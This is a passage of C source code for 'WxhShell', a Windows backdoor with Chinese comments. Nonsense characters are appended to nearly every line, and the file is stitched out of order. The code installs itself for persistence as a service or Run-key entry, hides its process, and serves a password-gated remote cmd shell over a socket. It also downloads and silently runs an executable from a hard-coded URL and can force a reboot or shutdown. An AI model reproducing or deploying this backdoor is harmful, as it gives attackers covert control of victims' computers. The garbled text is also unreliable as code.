    if(Boot(SHUTDOWN)) #*$_S@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {^cF(7p  
    else { vx!::V7s6  
    closesocket(wsh); WQ[}&kY~  
    ExitThread(0); +_X,uvR  
    } #Pu@Wx  
    break; A U)1vx(\w  
    } %{7_E*I@n  
  // 获取shell F gWkcV6B  
  case 's': { 0+}EA[  
    CmdShell(wsh); KQ4kZN  
    closesocket(wsh); Pr5g6I'G   
    ExitThread(0); " ^HK@$  
    break; x}?DkFuxb  
  } >gk z4.*  
  // 退出 dG\U)WA(p  
  case 'x': { ]<kupaRQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S jVsF1d_  
    CloseIt(wsh); X,TTM,1w  
    break; _[OF"X2  
    } U{uPt*GUd/  
  // 离开 u C,"5C  
  case 'q': { ]C16y. ~e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;&Bna#~B  
    closesocket(wsh); ]V36-%^  
    WSACleanup(); ><NI'q*cQ  
    exit(1); t7w-TJvP  
    break; ~u /aOd  
        } q=6Cc9FN  
  } yo\N[h7  
  } khU6*`lQ  
b , juF2  
  // 提示信息 M{?zvq?d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DX}B0B  
} TGU:(J'^  
  } R_Zv'y6  
w9RF2J  
  return; .dx 4,|6  
} %G;0T;0L  
FXP6zHsV  
// shell模块句柄 D]IBB>F  
int CmdShell(SOCKET sock) h+,'B&=|_  
{ d_Q*$Iz)3  
STARTUPINFO si; #z ON_[+s9  
ZeroMemory(&si,sizeof(si)); 0QMTIAW6h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d<Ggw#}:m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C:`;d&d  
PROCESS_INFORMATION ProcessInfo; 'yp>L|  
char cmdline[]="cmd"; 60!1 D>,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eV"!/A2:N5  
  return 0; 'X =p7 d|'  
} )~ 0}Et l  
o:2Q2+d  
// 自身启动模式 D.'h?^kA  
int StartFromService(void) JD6aiI!Su  
{ ]N*L7AVl  
typedef struct E {tx/$f  
{ g;pR^D'M5C  
  DWORD ExitStatus; jY7=mAd  
  DWORD PebBaseAddress; *YWk1Cwjo  
  DWORD AffinityMask; 00ofHZ  
  DWORD BasePriority; Btj#EoSI_  
  ULONG UniqueProcessId; [SVhtrx|%  
  ULONG InheritedFromUniqueProcessId; )4l>XlQ&  
}   PROCESS_BASIC_INFORMATION; xfjd5J7'  
#/Ruz'H1>  
PROCNTQSIP NtQueryInformationProcess; vr=~M?  
lT2 4JhJ#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M)&Io6>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? ^M /[@  
*LANGQ"2(i  
  HANDLE             hProcess; &59F8JgJ  
  PROCESS_BASIC_INFORMATION pbi; .it#`Yz;  
x^G'rF"nT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5%*w<6<_z  
  if(NULL == hInst ) return 0; *?/tO, R?  
BZK2$0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .XXW|{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7R}9oK_I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uG!:Z6%p  
/F.Wigv  
  if (!NtQueryInformationProcess) return 0; ,P{mk%=9  
xH-X|N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f-Jbs`(+  
  if(!hProcess) return 0; )qL&%xz  
 qve ./  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H`~;|6}]n  
x2co>.i  
  CloseHandle(hProcess); 7BR8/4gcPu  
cHx%Nd\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JK]R*!{n  
if(hProcess==NULL) return 0; h.)h@$d  
*U;'OWE[  
HMODULE hMod; 9'?se5\  
char procName[255]; aSC9&Nf;  
unsigned long cbNeeded; )p<WDiX1!e  
y<pnp?x4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c.A Yx I"  
~vHk&r]|  
  CloseHandle(hProcess); F.tfgW(A@  
mpgO s  
if(strstr(procName,"services")) return 1; // 以服务启动 -(i(02PX  
k|xtrW`qo;  
  return 0; // 注册表启动 Y34/+Fi  
} G O{ . 9_2  
*wuqa) q2  
// 主模块 !*aPEf270  
int StartWxhshell(LPSTR lpCmdLine) u:&o}[  
{ ~e `Bq>  
  SOCKET wsl; Kz jC/1sd  
BOOL val=TRUE; c~0{s>  
  int port=0; oc7$H>ET1  
  struct sockaddr_in door; CS 8jA\  
TX}T|ri  
  if(wscfg.ws_autoins) Install(); .f:n\eT):  
w]u@G-e  
port=atoi(lpCmdLine); OtJ\T/q,  
%<"}y$J  
if(port<=0) port=wscfg.ws_port; 6sJw@Oa J  
?^i1_v7 Bi  
  WSADATA data; 0V$k7H$Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k'T^dY&c  
:Zt2'vcGpf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &;E5[jO^D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >5hhd38  
  door.sin_family = AF_INET; (@r `$5D.b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iCj2"T4TN  
  door.sin_port = htons(port); r@U3sO#N  
Bj Wr5SJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b0v:12q  
closesocket(wsl); ,1oQ cC  
return 1; r X'*|]  
} ~j>D=!  
0v)bA}k  
  if(listen(wsl,2) == INVALID_SOCKET) { %zBCq"y  
closesocket(wsl);  Es5f*P0  
return 1; ^03j8Pc-c  
} 2f>PO +4S{  
  Wxhshell(wsl); >&,[H:Z  
  WSACleanup(); 4dawg8K`9  
#3$\Iu  
return 0; izgp*M,  
-d+aV1n  
} `F t]MR  
~]HN9R^&  
// 以NT服务方式启动 @L/o\pvc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @I`C#~  
{ vI1i, x#i  
DWORD   status = 0; ^EELaG  
  DWORD   specificError = 0xfffffff; tZyo`[La  
0'5/K ,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0(U#)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fmyj*)J[Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S4UM|`  
  serviceStatus.dwWin32ExitCode     = 0; t5B7I59  
  serviceStatus.dwServiceSpecificExitCode = 0; g{IF_ 1  
  serviceStatus.dwCheckPoint       = 0; z~*g~RKS!  
  serviceStatus.dwWaitHint       = 0; @"-</x3o  
n">u mM;Eh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;U9J++\d<A  
  if (hServiceStatusHandle==0) return; 5xCT~y/a  
8:=n*  
status = GetLastError(); +Hvc_Av''  
  if (status!=NO_ERROR) P{OAV+cG  
{ T9W`?A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rxn Frx  
    serviceStatus.dwCheckPoint       = 0; fKH7xu!V4+  
    serviceStatus.dwWaitHint       = 0; \Ig68dFf%  
    serviceStatus.dwWin32ExitCode     = status; K5Q43 e1  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3`E=#ff%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1CU>L[W)  
    return; ~{hxR)x9  
  } gTl<wo +  
az0<5 Bq)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vd^g9  
  serviceStatus.dwCheckPoint       = 0; E 99hlY~1:  
  serviceStatus.dwWaitHint       = 0; zGKyN@o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C+[%7vF1  
} YHNR 3  
Snp|!e  
// 处理NT服务事件,比如:启动、停止 @ "a6fn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y3.$G1{#0w  
{ X cr  =  
switch(fdwControl) r{\1wt  
{ >r`b_K  
case SERVICE_CONTROL_STOP: &|>S|  
  serviceStatus.dwWin32ExitCode = 0; \B F*m"lz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1"Z@Q`}  
  serviceStatus.dwCheckPoint   = 0; 4iA Z+l5&  
  serviceStatus.dwWaitHint     = 0; 'c2W}$q  
  { XU!2YO)t;!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -9N@$+T  
  } *B`Zq)  
  return; gE#>RM5D  
case SERVICE_CONTROL_PAUSE: 4[Z\ ?[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; glDcUCF3  
  break; Jk@]tAwoM  
case SERVICE_CONTROL_CONTINUE: 7C#`6:tI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {3;AwhN0H  
  break; &'cL%.  
case SERVICE_CONTROL_INTERROGATE: vEf4HZ&w  
  break; \(226^|j  
}; 8fA_p}wp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mxor1P#|  
} !It`+0S b  
QaUm1 i#  
// 标准应用程序主函数 +uay(3m((  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^` un'5Vk  
{ w=b)({`M  
XE^)VLH:  
// 获取操作系统版本 f#+el y  
OsIsNt=GetOsVer(); ]7-&V-Ct*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qt_dEl  
coYij  
  // 从命令行安装 :0Z^uuk`gq  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?X@fKAj  
(c0A.L)  
  // 下载执行文件 >WY#4  
if(wscfg.ws_downexe) { DN4$Jva  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r0p w_j  
  WinExec(wscfg.ws_filenam,SW_HIDE); YK|bXSA[  
} *JggU  
8DP+W$  
if(!OsIsNt) { %$%& m1Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 {U&.D [{&  
HideProc(); vJAZ%aW  
StartWxhshell(lpCmdLine); !9 fz(9  
} :W b j\  
else Ol4+_n8xj  
  if(StartFromService())  >S$Z  
  // 以服务方式启动 ss;R8:5  
  StartServiceCtrlDispatcher(DispatchTable); xsWur(>]  
else \*=7#Vd  
  // 普通方式启动 'SQG>F Uy  
  StartWxhshell(lpCmdLine); ,{\Bze1fn  
t_mIOm)S%  
return 0; y:v,j42%  
} ySI~{YVM  
>0Q|nCx  
~]ZpA-*@Ut  
N !TW!  
=========================================== R|i/lEq  
H'Yh2a`!o  
 i2~  
V5}B:SUB  
o|jIM9/  
2<M= L1\  
" Df3rV'/~  
5`f@>r?  
#include <stdio.h> &89 oO@5  
#include <string.h> 0uBl>A7qhn  
#include <windows.h> 2NB L}x  
#include <winsock2.h> qJ0fQI\  
#include <winsvc.h> )BRKZQN  
#include <urlmon.h> +F dB '  
IIy~[4dW  
#pragma comment (lib, "Ws2_32.lib") ~'R(2[L!;  
#pragma comment (lib, "urlmon.lib") z=$jGL  
7FRmx 4(!  
#define MAX_USER   100 // 最大客户端连接数 y8fsveX  
#define BUF_SOCK   200 // sock buffer ;5@  t[r  
#define KEY_BUFF   255 // 输入 buffer &+G"k~%  
qKJSj   
#define REBOOT     0   // 重启 Y!;|ld  
#define SHUTDOWN   1   // 关机 bXS:x  
c6Y\n%d&  
#define DEF_PORT   5000 // 监听端口 ;NNe!}C  
kI%%i>Y}  
#define REG_LEN     16   // 注册表键长度  \>Efd  
#define SVC_LEN     80   // NT服务名长度 /lafve~  
7Pa@1']  
// 从dll定义API A&>.74}p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V2N_8)s9W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PfkrOsV/m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 28 3 H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~F1:N>>_Cf  
j(~ *'&|(  
// wxhshell配置信息 dDnf^7q/  
struct WSCFG { [TNj;o5J  
  int ws_port;         // 监听端口 s: 3z'4oX  
  char ws_passstr[REG_LEN]; // 口令  6m6zA/  
  int ws_autoins;       // 安装标记, 1=yes 0=no <8,cuX\  
  char ws_regname[REG_LEN]; // 注册表键名 ne^imht  
  char ws_svcname[REG_LEN]; // 服务名 _V\Bp=9W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dg^L=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 je]}R>[r5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iDf,e Kk$'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u :F~K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O@YTAT&d#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z{H5oUk  
bGorH=pb5R  
}; t='# |');  
;[a|9TPR  
// default Wxhshell configuration r7Ya\0gU  
struct WSCFG wscfg={DEF_PORT, Gt wT  
    "xuhuanlingzhe", NH0qVQ@A  
    1, , lJ  v  
    "Wxhshell", JsotOic%  
    "Wxhshell", /EG~sRvl}  
            "WxhShell Service", 3QpYmX<E  
    "Wrsky Windows CmdShell Service", e)?Fi  
    "Please Input Your Password: ", R6=$u{D  
  1, b"TjGE  
  "http://www.wrsky.com/wxhshell.exe", &7_Qd4=08w  
  "Wxhshell.exe" Ja ,Cvt  
    }; k^OV56  
A=kH%0s2p@  
// 消息定义模块 ?-Vjha@BO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w4fW<ISg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +kFxi2L6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; not YeY7wR  
char *msg_ws_ext="\n\rExit."; ~,2/JDVJ5-  
char *msg_ws_end="\n\rQuit."; wfjnA~1h  
char *msg_ws_boot="\n\rReboot..."; fK(}Ce  
char *msg_ws_poff="\n\rShutdown..."; E_zIg+(+  
char *msg_ws_down="\n\rSave to "; 5^j45'%I  
xzx$TUL  
char *msg_ws_err="\n\rErr!"; hI(SOsKs  
char *msg_ws_ok="\n\rOK!"; M'!U<Y -  
[b$4Shx  
char ExeFile[MAX_PATH]; LzCw+@-umw  
int nUser = 0; WQHd[2Z#e  
HANDLE handles[MAX_USER]; <EST?.@~+  
int OsIsNt; |`;54_f  
It75R}B   
SERVICE_STATUS       serviceStatus; !\ g+8>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zc?ppO  
:f$xQr4Qz  
// 函数声明 uB7 V?A  
int Install(void); E#F/88(  
int Uninstall(void); *@TZ+{t  
int DownloadFile(char *sURL, SOCKET wsh); N;+[`l  
int Boot(int flag); [{X^c.8G)  
void HideProc(void); ?:Bv iF);/  
int GetOsVer(void); +[xnZ$Iev  
int Wxhshell(SOCKET wsl); (xq%  
void TalkWithClient(void *cs); ?h1H.s2X  
int CmdShell(SOCKET sock); }ZqW@ -  
int StartFromService(void); &Ni`e<mP  
int StartWxhshell(LPSTR lpCmdLine); @UdfAyL  
lqb/eN9(t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IVW1]y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i.:. Y  
~i.k$XGA  
// 数据结构和表定义 $2%f 8&  
SERVICE_TABLE_ENTRY DispatchTable[] = KOwOIDt  
{ pn*3\  
{wscfg.ws_svcname, NTServiceMain}, BAO|)~1Pd  
{NULL, NULL} K'h1szW  
}; 5 B=^v#m  
n k2om$nN  
// 自我安装 CX m+)a-L  
int Install(void) Xo*DvD  
{ PH{_ ,X  
  char svExeFile[MAX_PATH]; ~l2aNVv;  
  HKEY key; b9XW9O `B  
  strcpy(svExeFile,ExeFile); P<fnLQ9  
YA&g$!  
// 如果是win9x系统,修改注册表设为自启动 ,E.' o=Z  
if(!OsIsNt) { *]i!fzI']  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  RD tU43  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Yl;  
  RegCloseKey(key); FV,4pi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KeNL0_ Pw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K|oacOF9  
  RegCloseKey(key); d`1I".y  
  return 0; HD N9.5 S  
    } +,2Jzl'-  
  } \RVW  
} _`#3f1F@[  
else { [V 8{b{  
^V %rag  
// 如果是NT以上系统,安装为系统服务 q:<{% U$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rS1fK1dy s  
if (schSCManager!=0) B:Z_9,gj-N  
{ [p=*u,-  
  SC_HANDLE schService = CreateService 1EyL#;k  
  ( *SO{\bu  
  schSCManager, +t2SzQ j>  
  wscfg.ws_svcname, U?!>Nd  
  wscfg.ws_svcdisp, O 1oxZj <  
  SERVICE_ALL_ACCESS, A_;8IlW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j:w{;(1=W  
  SERVICE_AUTO_START, ,<A$h3*  
  SERVICE_ERROR_NORMAL, =~I-]4  
  svExeFile, IuZ) [*W  
  NULL, TT9z_Q5~  
  NULL, ,j5&6X=1M  
  NULL, l$hJE;n  
  NULL, S1U@UC  
  NULL zm,@]!wI  
  ); "k Te2iS  
  if (schService!=0) ]x&u`$F  
  { z5bo_Eq  
  CloseServiceHandle(schService); "@9? QI}  
  CloseServiceHandle(schSCManager); <9sO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F,5r9^,_  
  strcat(svExeFile,wscfg.ws_svcname); [TCP-bU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z`&4SH=j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X w.p  
  RegCloseKey(key); iVfgDo  
  return 0; L}m8AAkP[  
    } pZyQY+O  
  } Jl "mL  
  CloseServiceHandle(schSCManager); n8hRaNHl2  
} y ?G_y  
} E\u#t$  
.`CZUKG  
return 1; R<x'l=,D(  
} 5 |/9}^T  
Ez{MU@Fk  
// 自我卸载 ql<rU@  
int Uninstall(void) b~BIz95  
{ Z@gnsPN^r  
  HKEY key; wZh:F !  
Bb{!Yh].:A  
if(!OsIsNt) { >*$;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GjB]KA^  
  RegDeleteValue(key,wscfg.ws_regname); ?m c%.Bt  
  RegCloseKey(key); }CxvT`/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mQ}ny(K'  
  RegDeleteValue(key,wscfg.ws_regname); tb?YLxMV  
  RegCloseKey(key); tDDy]==E  
  return 0; Il`tNr  
  } U=8@@ yE  
} i*eAdIi  
} 4'p=p#o  
else { )f dE6  
VGqa)ri"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0hZ1rqq8C  
if (schSCManager!=0) g=T/_  
{ C[WCg9Av  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _j>;ipTb+  
  if (schService!=0) Y qcD-K  
  { eh R{X7J  
  if(DeleteService(schService)!=0) { A>VX*xd  
  CloseServiceHandle(schService); .qob_dRA  
  CloseServiceHandle(schSCManager); 7FO'{Qq  
  return 0; xmGk*W)P  
  } KS*oxZ  
  CloseServiceHandle(schService); =e?$M  
  } joul<t-  
  CloseServiceHandle(schSCManager); DF{OnF  
} 0Aa`p3.)  
} YK{a  
H.G!A6bd  
return 1; KLC{7"6e)  
} TzBzEiANn  
2l5KJlfj>k  
// 从指定url下载文件 c<#<k}y  
int DownloadFile(char *sURL, SOCKET wsh) \M]-bw`  
{ ^Y{D^\} ,  
  HRESULT hr; *V(Fn-6(  
char seps[]= "/"; (qwdQMj`  
char *token; 6b~28  
char *file; <:8,niKtw  
char myURL[MAX_PATH]; 6D;^uM2N  
char myFILE[MAX_PATH]; oPKXZU(c  
-RJE6~>'\  
strcpy(myURL,sURL); &Np9kIMCB  
  token=strtok(myURL,seps); @/%{15s.  
  while(token!=NULL) <5@PWrU?[[  
  { nW?R"@Zm  
    file=token; 69#8Z+dw7  
  token=strtok(NULL,seps); HEA eo!  
  } >5T_g2pkv  
9j*0D("  
GetCurrentDirectory(MAX_PATH,myFILE); ) uP\>vRy  
strcat(myFILE, "\\"); kcB+_  
strcat(myFILE, file); &@3m -Z  
  send(wsh,myFILE,strlen(myFILE),0); z&4~x!-_  
send(wsh,"...",3,0); fRTo.u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6aOp[-Le  
  if(hr==S_OK) r+<{S\ Q  
return 0; bXM/2Z?6  
else #t!}K_  
return 1; 6ri\>QrF  
*@V*~^V"J[  
} VSOz.g>  
ep(g`e  
// 系统电源模块 /vE]2Io  
int Boot(int flag) !.fw,!}hOD  
{ `"k9wC1  
  HANDLE hToken; 6@4n'w{"  
  TOKEN_PRIVILEGES tkp; `#IcxweA  
|dadH7  
  if(OsIsNt) { V:bV ?lt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |Y_ -  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `0#H]=$2h  
    tkp.PrivilegeCount = 1; :46h+?   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0_eQlatb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !F!3Q4  
if(flag==REBOOT) { &S74mV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZI ?W5ISdg  
  return 0; 6ew "fCrH!  
} 2H?d+6Pt3  
else { %c^ m\ E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yZ}d+7T}  
  return 0; +~2rW8  
} ,yLw$-  
  } iz}sM>^  
  else { Qu{c B^Ga*  
if(flag==REBOOT) { +_HdX w#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k4KHS<n0  
  return 0; C>|@& o1  
} {,O`rW_eS  
else { aw}+'(?8]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \Rk$t7ZH  
  return 0; p*;Qz  
} "EftN5?/  
} qg,Nb  
zXc}W*ymj  
return 1; xQt 3[(Z  
} a}.Y!O&  
:\V,k~asl  
// win9x进程隐藏模块 ]@xL=%   
void HideProc(void) |Svk^mq  
{ #A <1aQ  
&A50'8B2A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J+<p+(^*v  
  if ( hKernel != NULL ) T%CxvZ  
  { [5pCL0<c@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W7G9Kx1Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E*v]:kok  
    FreeLibrary(hKernel); tGqCt9;<  
  } 7$b?m6fmK  
+p/1x'J  
return; Nh)[r x  
} ekzjF\!y  
Go+[uY^  
// 获取操作系统版本 }_46y*o8  
int GetOsVer(void) I 8Y*@$h  
{ -Fwh3F 4g  
  OSVERSIONINFO winfo; ? J|4l[x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'm1.X-$V  
  GetVersionEx(&winfo); /! ^P)yU,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k7bl'zic  
  return 1; lg/sMF>z\f  
  else q=Xg*PM,  
  return 0; A1JzW)B  
} _dmL}t-  
s j9D  
// 客户端句柄模块 Da,&+fZI!  
int Wxhshell(SOCKET wsl) x% XT2+  
{ ;A^K_w'  
  SOCKET wsh; |"}4*V_*  
  struct sockaddr_in client; DNth4z  
  DWORD myID; I5pp "*u  
 t9*=  
  while(nUser<MAX_USER) <lld*IH  
{ =l|>.\-  
  int nSize=sizeof(client); <NQyP{p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {$TZ}z"DA  
  if(wsh==INVALID_SOCKET) return 1; E#h~V5Tf  
.Dv=p B,u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3&J&^O  
if(handles[nUser]==0) ?6:cNdN  
  closesocket(wsh); )W9_qmYd"  
else >rRf9wO1l  
  nUser++; o`U|`4,  
  } {,V$*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @P70W<<  
OJ[rj`wrW^  
  return 0; A +!sD5d  
} Gc5VQ^]  
IvSn>o  
// 关闭 socket F X 1C e  
void CloseIt(SOCKET wsh) dIK{MA  
{ +{&+L0DfH~  
closesocket(wsh); y\_wWE  
nUser--; -lp"#^ ;  
ExitThread(0); :J%'=_I&H  
} %1jdiHTaL  
#uWE2*')  
// 客户端请求句柄 u`p_.n:5)  
void TalkWithClient(void *cs) 1jOKcm'#  
{ Qk7J[4  
v!!;js^  
  SOCKET wsh=(SOCKET)cs; {"4<To]z  
  char pwd[SVC_LEN]; P7>IZ >bw  
  char cmd[KEY_BUFF]; |LFUzq>j  
char chr[1]; H0tF  
int i,j; 8m7eaZ  
/Su)|[/'  
  while (nUser < MAX_USER) { zv9M HC &  
#J~Xv:LgD  
if(wscfg.ws_passstr) { =5_y<0`4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #O6 EP#B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fIEw(k<*  
  //ZeroMemory(pwd,KEY_BUFF); _> Ln@  
      i=0; {jG.=}/Dk  
  while(i<SVC_LEN) { <rMv0y+r  
,9UCb$mh  
  // 设置超时 zn[QvY  
  fd_set FdRead; .P%ym~S  
  struct timeval TimeOut; zW)gC9_|m-  
  FD_ZERO(&FdRead); >e_%M5 0  
  FD_SET(wsh,&FdRead); Xv*}1PZH  
  TimeOut.tv_sec=8; )[ w&C_>]  
  TimeOut.tv_usec=0; 9i[4"&K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fn?VNZ`J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Okoo(dfM  
|<2 *v-a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o#dcD?^  
  pwd=chr[0]; ~1d!hq?/q  
  if(chr[0]==0xd || chr[0]==0xa) { GMT or  
  pwd=0; AI R{s7N  
  break; _y-B";Vmm  
  } uA^hCh-js  
  i++; wEK%T P4  
    } -XLo0  
o]p#%B?mZ  
  // 如果是非法用户,关闭 socket w #<^RKk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rd vn)K  
} Y'&8L'2Z[  
rkq)&l=ny  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _2; ^v`[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $*i7?S@~-  
pzAoq)gg:  
while(1) { !(yT7#?hP  
uwId  
  ZeroMemory(cmd,KEY_BUFF); rx}*u3x=  
F1\`l{B,\  
      // 自动支持客户端 telnet标准   &! OGIYC(  
  j=0; qlEFJ5;  
  while(j<KEY_BUFF) { E{I) ]h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y,^";7U  
  cmd[j]=chr[0]; 1h{>[ 'L  
  if(chr[0]==0xa || chr[0]==0xd) { \"J?@  
  cmd[j]=0; (`F|nG=X  
  break; jF4csO=E  
  } (>mi!:  
  j++; ?^Pq/VtZ  
    } KZW'O b>[  
$(XgKq&xWZ  
  // 下载文件 db^aL8  
  if(strstr(cmd,"http://")) { {GK(fBE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PM8Ks?P#u  
  if(DownloadFile(cmd,wsh)) }D Z)W0RDe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _o&94&  
  else {&0mK"z_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6SV7\,2M  
  } \a?K?v|8  
  else { P6:;Y5e0  
:b <KX%g  
